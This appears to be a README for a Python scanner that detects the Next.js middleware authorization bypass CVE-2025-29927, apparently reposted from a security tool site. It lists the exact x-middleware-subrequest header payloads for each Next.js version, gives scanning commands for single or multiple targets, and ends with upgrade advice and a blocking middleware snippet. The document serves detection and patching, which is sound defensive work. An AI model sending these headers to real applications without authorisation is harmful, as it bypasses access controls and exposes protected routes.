Next.js Middleware Subrequest Vulnerability Scanner

A robust proof of concept (PoC) tool to detect the Next.js middleware vulnerability (CVE-2025-29927).

Overview

This tool tests a critical vulnerability in Next.js applications where the x-middleware-subrequest header can be used to bypass security checks implemented in middleware. The exploit involves sending HTTP requests with specific malicious headers, varying according to the Next.js version.

How the Exploit Works

According to research, there are different payloads for different Next.js versions:

1. Versions prior to 12.2:

   root@kitploit:~

   x-middleware-subrequest: pages/_middleware
   

2. Versions from 12.2 onwards:

   root@kitploit:~

   x-middleware-subrequest: middleware
   

   or

   root@kitploit:~

   x-middleware-subrequest: src/middleware
   

   (if the application uses the src directory)

3. More recent versions (e.g. 15.x):

   root@kitploit:~

   x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
   

   or

   root@kitploit:~

   x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
   

Our PoC tests all these payloads automatically and reports which one was successful.

Features

• Test one or multiple targets
• Concurrent scanning with multithreading
• Customizable request paths
• Automatic testing of all possible payloads
• Detailed and colored terminal output
• Export results in JSON
• Robust error handling
• Comprehensive vulnerability detection

Requirements

• Python 3.7+
• Required packages:
  • requests
  • colorama

Installation

# Clone the repository or download the files
# Navigate to the directory
cd poc-nextjs-2025

# Install the required packages
pip install -r requirements.txt

Usage

python main.py -u https://example.com   # Test a single URL
python main.py -f targets.txt             # Test multiple URLs from a file

Command Line Arguments

Examples

# Basic single target scan
python main.py -u https://example.com

# Scan multiple targets with custom paths
python main.py -f targets.txt -p /api/users,/admin,/dashboard

# Scan with higher concurrency and longer timeout
python main.py -u https://example.com -t 10 --timeout 15

# Save results to a JSON file
python main.py -u https://example.com -o scan_results.json

Detection Methodology

The scanner works by:

1. Sending a normal request to the target
2. Sending requests with different variations of the x-middleware-subrequest header according to Next.js versions
3. Comparing responses to identify vulnerability indicators:
   • Normal request blocked (4xx/5xx) but exploit request allowed (2xx)
   • Significant difference in response content
   • Authentication/authorization bypass indicators

Mitigation

If you discover vulnerable applications, apply these mitigations:

• Update to Next.js versions 14.2.25 or 15.2.3 or later
• Implement a middleware that blocks requests with the x-middleware-subrequest header

export function middleware(request: NextRequest) {
  if (request.headers.has('x-middleware-subrequest')) {
    return new Response('Unauthorized', { status: 401 });
  }
  return NextResponse.next();
}